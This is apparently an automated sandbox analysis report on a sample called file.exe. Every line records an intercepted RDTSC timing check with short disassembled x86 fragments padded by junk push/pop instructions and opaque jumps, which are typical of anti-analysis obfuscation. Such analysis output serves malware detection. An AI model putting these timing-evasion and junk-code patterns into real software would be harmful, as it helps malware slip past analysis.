Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD007 second address: 13BD02E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C3799Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jbe 00007EFC80C37996h 0x00000013 jmp 00007EFC80C3799Dh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD02E second address: 13BD034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD034 second address: 13BD038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE15F second address: 13BE163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE163 second address: 13BE167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE167 second address: 13BE16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE16D second address: 13BE173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE173 second address: 13BE177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE177 second address: 13BE17B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0F5A second address: 13C0F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0F66 second address: 13C0F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E0F0 second address: 138E0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E0F4 second address: 138E10E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFC80C379A4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E10E second address: 138E12E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007EFC80C0D656h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C57B1 second address: 13C57D7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007EFC80C37996h 0x0000000d jmp 00007EFC80C3799Ah 0x00000012 jl 00007EFC80C37996h 0x00000018 popad 0x00000019 je 00007EFC80C379A2h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C57D7 second address: 13C57DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4C16 second address: 13C4C1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4C1F second address: 13C4C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFC80C0D646h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4D8B second address: 13C4D96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007EFC80C37996h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4D96 second address: 13C4DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007EFC80C0D646h 0x0000000d jmp 00007EFC80C0D656h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4F11 second address: 13C4F62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC80C379A0h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jg 00007EFC80C37998h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007EFC80C379A9h 0x0000001b jmp 00007EFC80C379A4h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C5328 second address: 13C532C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C532C second address: 13C5338 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jg 00007EFC80C37996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7196 second address: 13C719A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7CE6 second address: 13C7D0E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007EFC80C37996h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFC80C379A9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7D0E second address: 13C7D18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007EFC80C0D646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7D18 second address: 13C7D1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7DC3 second address: 13C7E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop esi 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007EFC80C0D648h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 xor dword ptr [ebp+122D27E4h], ecx 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 jmp 00007EFC80C0D654h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7F10 second address: 13C7F1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C3799Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7F1E second address: 13C7F23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8261 second address: 13C826B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007EFC80C37996h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C83D7 second address: 13C83F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFC80C0D659h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C83F7 second address: 13C843B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007EFC80C37998h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D5AFBh] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push edx 0x0000002c jmp 00007EFC80C3799Eh 0x00000031 pop edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C88FA second address: 13C8927 instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFC80C0D64Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jns 00007EFC80C0D646h 0x00000013 pop edx 0x00000014 pop edx 0x00000015 nop 0x00000016 mov dword ptr [ebp+122D22DFh], edi 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pushad 0x00000025 popad 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8927 second address: 13C892C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA318 second address: 13CA343 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b jo 00007EFC80C0D668h 0x00000011 jmp 00007EFC80C0D656h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C91A1 second address: 13C91A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C91A6 second address: 13C91B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC3DD second address: 13CC3E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC3E4 second address: 13CC412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007EFC80C0D65Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC412 second address: 13CC41C instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFC80C3799Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD96F second address: 13CD975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D02ED second address: 13D02F7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFC80C37996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D02F7 second address: 13D031B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFC80C0D655h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D031B second address: 13D031F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D031F second address: 13D0323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0323 second address: 13D0330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D49FA second address: 13D4A0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFC80C0D64Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4A0E second address: 13D4A13 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D11FB second address: 13D1200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1200 second address: 13D1206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D5140 second address: 13D514C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFC80C0D64Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6238 second address: 13D623C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7395 second address: 13D739B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D623C second address: 13D6257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D739B second address: 13D73A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D73A0 second address: 13D73C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D73C4 second address: 13D73CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA21A second address: 13DA220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB06E second address: 13DB073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB073 second address: 13DB07D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFC80C3799Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB07D second address: 13DB0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jno 00007EFC80C0D646h 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D267Fh] 0x00000017 push 00000000h 0x00000019 pushad 0x0000001a mov ecx, edi 0x0000001c push ecx 0x0000001d mov dword ptr [ebp+122D5AECh], ebx 0x00000023 pop ebx 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 ja 00007EFC80C0D666h 0x0000002c push eax 0x0000002d push edx 0x0000002e jne 00007EFC80C0D646h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA371 second address: 13DA37F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C3799Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA37F second address: 13DA399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC80C0D656h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC120 second address: 13DC125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB265 second address: 13DB26B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB325 second address: 13DB329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE151 second address: 13DE17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C0D650h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFC80C0D657h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC32E second address: 13DC334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE70F second address: 13DE762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007EFC80C0D64Ch 0x0000000b popad 0x0000000c nop 0x0000000d mov bx, dx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007EFC80C0D648h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov bx, 1E90h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 mov edi, 5CB037C2h 0x00000038 pop ebx 0x00000039 xchg eax, esi 0x0000003a push esi 0x0000003b jo 00007EFC80C0D64Ch 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF847 second address: 13DF86A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007EFC80C379A0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jc 00007EFC80C37996h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFA48 second address: 13DFA4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0A84 second address: 13E0A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFA4C second address: 13DFA50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2882 second address: 13E2888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2888 second address: 13E288E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E19C3 second address: 13E19C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E29C7 second address: 13E29CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2AC8 second address: 13E2ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2ACD second address: 13E2AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2AD3 second address: 13E2AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ED7B7 second address: 13ED7D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007EFC80C0D655h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2DF8 second address: 13F2E19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007EFC80C379A9h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2E19 second address: 13F2E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3846 second address: 13F3863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3863 second address: 13F386D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007EFC80C0D646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3938 second address: 13F3941 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCD85 second address: 13FCDA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D654h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCDA0 second address: 13FCDA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCDA6 second address: 13FCDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCDAB second address: 13FCDCB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 jp 00007EFC80C3799Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007EFC80C37996h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCDCB second address: 13FCDE2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007EFC80C0D646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007EFC80C0D64Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD0AE second address: 13FD0B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD0B2 second address: 13FD0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007EFC80C0D646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 push edi 0x00000013 jl 00007EFC80C0D652h 0x00000019 ja 00007EFC80C0D646h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD38A second address: 13FD3A0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFC80C3799Ch 0x00000008 jnp 00007EFC80C3799Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
